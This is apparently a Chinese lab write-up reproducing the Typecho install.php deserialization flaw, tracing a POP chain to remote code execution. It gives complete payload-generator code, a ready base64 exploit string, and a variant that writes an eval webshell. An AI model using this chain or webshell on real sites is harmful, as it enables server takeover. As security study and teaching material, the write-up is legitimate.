typecho靶场反序列化漏洞复现

全局搜索unserialize()
文件install.php
第230行
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
  • 从cookie中获取参数__typecho_config的值

  • 经过base64编码和反序列化操作之后赋值给$config

    • 此时的$config已经是反序列化后的对象
  • 查看get()方法,看数据是否进行了过滤操作

文件Cookie.php
    public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
    }
$key = self::$_prefix . $key;
  • k e y 拼接一个前缀 ‘ key拼接一个前缀` key拼接一个前缀_prefix`
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
  • 首先判断$_COOKIE数组中是否含有$key(已拼接前缀),如果有则返回$_COOKIE[$key],赋值给$value,如果没有,则进行下一步判断
  • 检查$_POST数组中是否含有$key(已拼接前缀),如果有则返回$_POST[$key],赋值给$value,如果没有,则返回$default的值,赋值给$value
return is_array($value) ? $default : $value;
  • 如果$value是一个数组则返回默认值$default
  • 如果不是则返回从$_POST或者$_COOKIE中获取的值

回到install.php文件

此时需要思考如何让代码执行到反序列化这里

  • 方法:添加断点

在这里插入图片描述

  • 访问文件install.php,看是否存在1222

在这里插入图片描述

  • 发现并没有输出,说明上面的某些条件并没有满足
  • 向上审计
第59行
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}
  • 发现是exit(终止代码执行),所以我们需保证其继续执行
  • 我们需要满足的条件
    • 提交finish参数,使其不为空
第64-75行
if (!empty($_GET) || !empty($_POST)) {  //判断是否存在非空的GET参数或者POST参数
    if (empty($_SERVER['HTTP_REFERER'])) { 
        exit; // 如果referer头为空,则终止代码执行
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
	if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
    		//将主机信息变为主机+端口的形式
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }
		//如果referer头中的host为空,或者 请求头中的HOST不等于referer头中的host,则终止代码执行
    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
  • 为了不终止代码执行,需要满足的条件
    • referer头中的host不能为空
    • 且请求头中的HOST要与referer头中的host一致

先满足以上条件,看代码能不能执行到断点

  • finish参数不能为空

  • referer头中的host不能为空,且请求头中的HOST要与referer头中的host一致
    在这里插入图片描述

  • 发现并没有到断点,继续审计

在这里插入图片描述

  • 发现有个if嵌套,其中要执行到反序列化,则需要满足
  • finish参数不为空
  • 存在config.inc.php文件 (搭建靶场时就已经存在)
  • 有参数__typecho_config传递进来

因此需要满足的条件有:

  • finish参数不能为空
  • referer头中的host不能为空,且请求头中的HOST要与referer头中的host一致
  • 参数__typecho_config存在
    • 经过上面代码分析可通过cookie或者post传递

在这里插入图片描述

  • 发现满足以上三个条件之后,代码成功执行到反序列化的地方
  • 向下继续审计
第230行
  • 发现并没有对__typecho_config做过滤
  • 参数__typecho_config可控
第231行
Typecho_Cookie::delete('__typecho_config');
  • 删除 __typecho_config 的 Cookie ? ==> 登出
第232行
$db = new Typecho_Db($config['adapter'], $config['prefix']);
  • $config['adapter'], $config['prefix']

  • 推测此时$config也是一个数组

    • $config=[
        'adapter' => ???,
        'prefix'  => ???
      ]
      

查看类Typecho_Db

Db.php
第17-105行

定义了有关数据库的操作对象,包括读、写、增删改查等基础操作

而其中也定义了

//数据库适配器@var Typecho_Db_Adapter
private $_adapter; 
// 默认配置@access private @var Typecho_Config
private $_config; 
//前缀 @access private @var string
private $_prefix;
//适配器名称 @access private @var string
private $_adapterName; 
//实例化的数据库对象  @var Typecho_Db
private static $_instance; 

以及数据库类构造函数

/**
 * 数据库类构造函数
 *
 * @param mixed $adapterName 适配器名称  
 * @param string $prefix 前缀
 * @throws Typecho_Db_Exception
*/
public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

				...  ...
    }
public function __construct($adapterName, $prefix = 'typecho_')
  • __construct,当创建对象时调用该方法

  • 参数$adapterName ==>适配器名称 字符串

  • $prefix = ‘typecho_’ 指定默认前缀

  • ps:在install.php第232行调用

$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
  • 其中 a d a p t e r N a m e 为 ‘ T y p e c h o D b A d a p t e r ‘ 与 adapterName为`Typecho_Db_Adapter_`与 adapterNameTypechoDbAdapteradapterName拼接后的结果
  • 这种情况下的话$adapterName最后就是字符串
此时需要思考
  • 最后拼接的结果是字符串,且并没有对$adapterName做过滤,那么魔术方法_toString()可能起到作用
  • $adapterName是一个对象的话就会调用魔术方法__toString()
  • 所以需要想办法传入一个对象
    • 条件:有一个类,且包含__toString()
全局搜索__toString()方法

在这里插入图片描述

  • 审计后发现Config.php文件序列化之后直接结束
  • 而Query.php文件只是预定义了一些sql语句
  • 查看Feed.php
文件Feed.php
第290行
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
$item['author']->screenName
  • $item['author']调用了属性screenName
    • 说明$item['author']就是我们想要找的对象
  • 而这里调用了属性screenName,可以联想到另外一个魔术方法__get()
    • 但是要保证screenName在某一个类中不存在,或者为private,protected
全局搜索__get()方法

在这里插入图片描述

文件Client.php
public function __get($prefix){
        return new IXR_Client($this->server, $this->path, $this->port, $this->useragent, $this->prefix . $prefix . '.');
    }
  • 通过查看类IXR_Client后发现,是处理客户端的文件
  • 暂时没有找到可控的参数
文件Config.php
  /** 魔术函数获取一个配置值
     *
     * @access public
     * @param string $name 配置名称
     * @return mixed
     */
public function __get($name){
        return isset($this->_currentConfig[$name]) ? $this->_currentConfig[$name] : NULL;
    }
  • 检查在_currentConfig中是否存在$name的对应的值
文件Date.php
public function __get($name)
{
    switch ($name) {
    case 'year':
    return date('Y', $this->timeStamp);
    case 'month':
    return date('m', $this->timeStamp);
    case 'day':
    return date('d', $this->timeStamp);
    default:
    return;
}
  • 一个定义时间格式的文件
文件Plugin.php
    /**
     * 通过魔术函数设置当前组件位置
     *
     * @access public
     * @param string $component 当前组件
     * @return Typecho_Plugin
     */
public function __get($component){
$this->_component = $component;
return $this;
}
  • 将参数$component赋值给成员变量_component
文件Request.php
    /**
     * 获取实际传递参数(magic)
     *
     * @access public
     * @param string $key 指定参数
     * @return mixed
     */
public function __get($key){
return $this->get($key);
}
  • 获取实际传递参数的方法,可能可控,继续审计
  • 将变量$key传递给了get方法
  • 查看get方法
第293-306行
    public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }
  • 通过switch条件语句进行判断,其中_params为数组,私有属性 (第25行定义)
    • 如果$key 的键在_params数组中存在,则将对应的值赋给$value
    • 如果 $this->_params 数组中不存在以 $key 为键的元素,但 self::$_httpParams[$key] 存在,那么 $value 将被设置为 self::$_httpParams[$key]
    • 如果都不满足则给 $value 设置为默认值$default
第307-308行
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
  • v a l u e 进行判断,如果 value进行判断,如果 value进行判断,如果value不是数组并且长度>0,那么原样输出$value值,最后交给_applyFilter
  • 否则将 d e f a u l t 的值赋给 default的值赋给 default的值赋给value再交给_applyFilter
  • 查看_applyFilter
    • 发现是类Typecho_Request中的一个方法
第159-171行
    private function _applyFilter($value)
    {
        if ($this->_filter) {  //是否存在数组$this->_filter
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }
  • 其中$this->_filter是一个数组,私有属性(第120行定义)
  • 如果该数组存在,则遍历该数组
  • 如果$value为数组的话,则使用方法array_map,否则使用方法call_user_func
  • 最后将处理过后的值赋给$value,并返回
思考
  • get方法传入 k e y 的处理过程中 , 并没有对 ∗ ∗ key的处理过程中,并没有对** key的处理过程中,并没有对key做过滤,就直接赋值给的$value**

  • 并且对$value值也只进行了是否是数组的判断

  • 结合最开始的注释,可以推测,如果$key参数可以控制的话,那么它的值就应该为,我们想要的参数screenName,只要保证其为private或者protected属性即可

  • 而最终我们想要传入的值应该是字符串而不是数组,所以在经过判断之后就应该使用函数call_user_func

  • 所以如果我们让 f i l t e r = a s s e r t , filter=assert, filter=assertvalue=phpinfo(); 就可以造成代码执行漏洞

构造payload
思路整理:
unserialize()	→  找__toString()  →	 找__get	 →  找get()
条件:
找unserialize()
  • finish参数不能为空

  • referer头中的host不能为空,且请求头中的HOST要与referer头中的host一致

  • 参数__typecho_config存在

    • 经过上面代码分析可通过cookie或者post传递
  • $config是一个数组,数组中的 adapter 是一个对象

    • 构造

      $config =[
        'adapter' => ???,
        'prefix' => typecho_
      ];
      
      
找__toString()
  • $adapterName必须为一个类中的对象 ==》找到类Typecho_Feed

    • 构造

      <?php
      class Typecho_Feed{
      }
      
  • 对象 ==》$item['author']

    • 但是需要满足以下条件才能执行到$item['author']这里

      • else if (self::*RSS2* == $this->_type)
      • foreach ($this->_items as $item),定义数组$this->_items
    • 构造

      <?php
      class Typecho_Feed{
        const RSS2 = 'RSS 2.0';
        
        private $_type;
        
        private $_items = array();
        
      public function __construct(){
        
      	$this->_type='RSS 2.0';
        
      	}
      }
      
  • 确定遍历数组时$item内部的参数

    • title、link、date、author

    • 其中author是我们想要的

    • 由于$this->_items as $item,即 i t e m 被数组 ‘ item被数组` item被数组this->_items`包含

      • 所以可以把 _items 数组里面的第一个元素给 $item 数组
    • 构造

      <?php
      class Typecho_Feed{
        const RSS2 = 'RSS 2.0';
        
        private $_type;
        
        private $_items = array();
        
      public function __construct(){
        
      	$this->_type='RSS 2.0';
        
        $this->_items[0]=array(
        		'title' => 'test',
          	'link' => '11111',
          	'date'=>'1111',
          	'author'=> ? //(与__get()相关)
        );
        
      	}
      }
      
找__get()
  • $item['author']->screenName ==》__get()方法 ==》找到类 Typecho_Request

    • 构造

      <?php
      class Typecho_Feed{
        const RSS2 = 'RSS 2.0';
        
        private $_type;
        
        private $_items = array();
        
      public function __construct(){
        
      	$this->_type='RSS 2.0';
        
        $this->_items[0]=array(
        		'title' => 'test',
          	'link' => '11111',
          	'date'=>'1111',
          	'author'=> new Typecho_Request()
        );
      	}
      }
      	class Typecho_Request{
          
        }
      
找get()
  • 通过_params数组传递参数screenName ==》$value

  • 设置参数screenName ==》_applyFilter方法 ==》 函数call_user_func ==》还需设置**$filter** ==》使用数组__filter

    • 构造

      <?php
      class Typecho_Feed{
        const RSS2 = 'RSS 2.0';
        
        private $_type;
        
        private $_items = array();
        
      public function __construct(){
        
      	$this->_type='RSS 2.0';
        
        $this->_items[0]=array(
        		'title' => 'test',
          	'link' => '11111',
          	'date'=>'1111',
          	'author'=> new Typecho_Request()
        );
      	}
      }
      	class Typecho_Request{
          private $_params = array(
      			'screenName' => 'phpinfo();'
        );
      		private $_filter = array(
      				'assert'
        );
      }
      
  • 最后拼接**$config**,进行序列化和base64编码

    • 构造

      <?php
      class Typecho_Feed{
      
          const RSS2 = 'RSS 2.0';
      
          private $_type;
      
          private $_items = array();
      
          public function __construct(){
              $this->_type='RSS 2.0';
      
              $this->_items[0]=array(
                  'title' => 'test',
                  'link' => 11111,
                  'date' => 1111,
                  'author' => new Typecho_Request()
              );
          }
      }
      
      class Typecho_Request{
          private $_params = array(
              'screenName' => 'die(phpinfo());'
          );
      
          private $_filter = array(
              'assert'
          );
      }
      
      $config =[
          'adapter' => new Typecho_Feed(),
          'prefix' => 'typecho_'
      ];
      
      $data = serialize($config);
      
      $data = base64_encode($data);
      echo $data;
      
      
获取$data值 ==> 提交的payload
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjMxMjtzOjQ6ImRhdGUiO2k6MjAyMztzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxNToiZGllKHBocGluZm8oKSk7Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ
抓包修改对应参数,成功

在这里插入图片描述

写马
<?php
class Typecho_Feed{
  
    const RSS2 = 'RSS 2.0';
  
    private $_type;
  
    private $_items = array();
  
    public function __construct(){
      
        $this->_type='RSS 2.0';
      
        $this->_items[0]=array(
            'title' => 'test',
            'link' => 11111,
            'date' => 1111,
            'author' => new Typecho_Request()
        );
    }
}
  class Typecho_Request{
    
      private $_params = array(
        
          'screenName' => 'die(file_put_contents("shell.php","<?php
  eval(\$_REQUEST[6]);?>"));'
        
      );
      private $_filter = array(
          'assert'
      );
  }
  $config =[
      'adapter' => new Typecho_Feed(),
      'prefix' => 'typecho_'
  ];
    $data = serialize($config);
    $data = base64_encode($data);
		echo $data;

在这里插入图片描述

在这里插入图片描述

  • 获取webshell,蚁剑连接

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值